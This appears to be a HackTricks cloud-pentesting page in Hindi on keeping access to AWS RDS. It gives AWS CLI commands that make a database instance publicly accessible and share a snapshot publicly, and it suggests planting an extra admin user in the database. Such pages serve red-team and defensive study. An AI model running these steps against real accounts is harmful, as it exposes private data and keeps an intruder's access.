AWS - RDS स्थिरता

Reading time: 2 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

RDS

अधिक जानकारी के लिए देखें:

AWS - Relational Database (RDS) Enum

इंस्टेंस को सार्वजनिक रूप से सुलभ बनाएं: rds:ModifyDBInstance

इस अनुमति के साथ एक हमलावर एक मौजूदा RDS इंस्टेंस को सार्वजनिक सुलभता सक्षम करने के लिए संशोधित कर सकता है।

bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately

DB के अंदर एक एडमिन यूजर बनाएं

एक हमलावर बस DB के अंदर एक यूजर बना सकता है ताकि अगर मास्टर यूजर का पासवर्ड बदल भी दिया जाए तो वह डेटाबेस तक पहुंच नहीं खोता।

स्नैपशॉट को सार्वजनिक बनाएं

bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें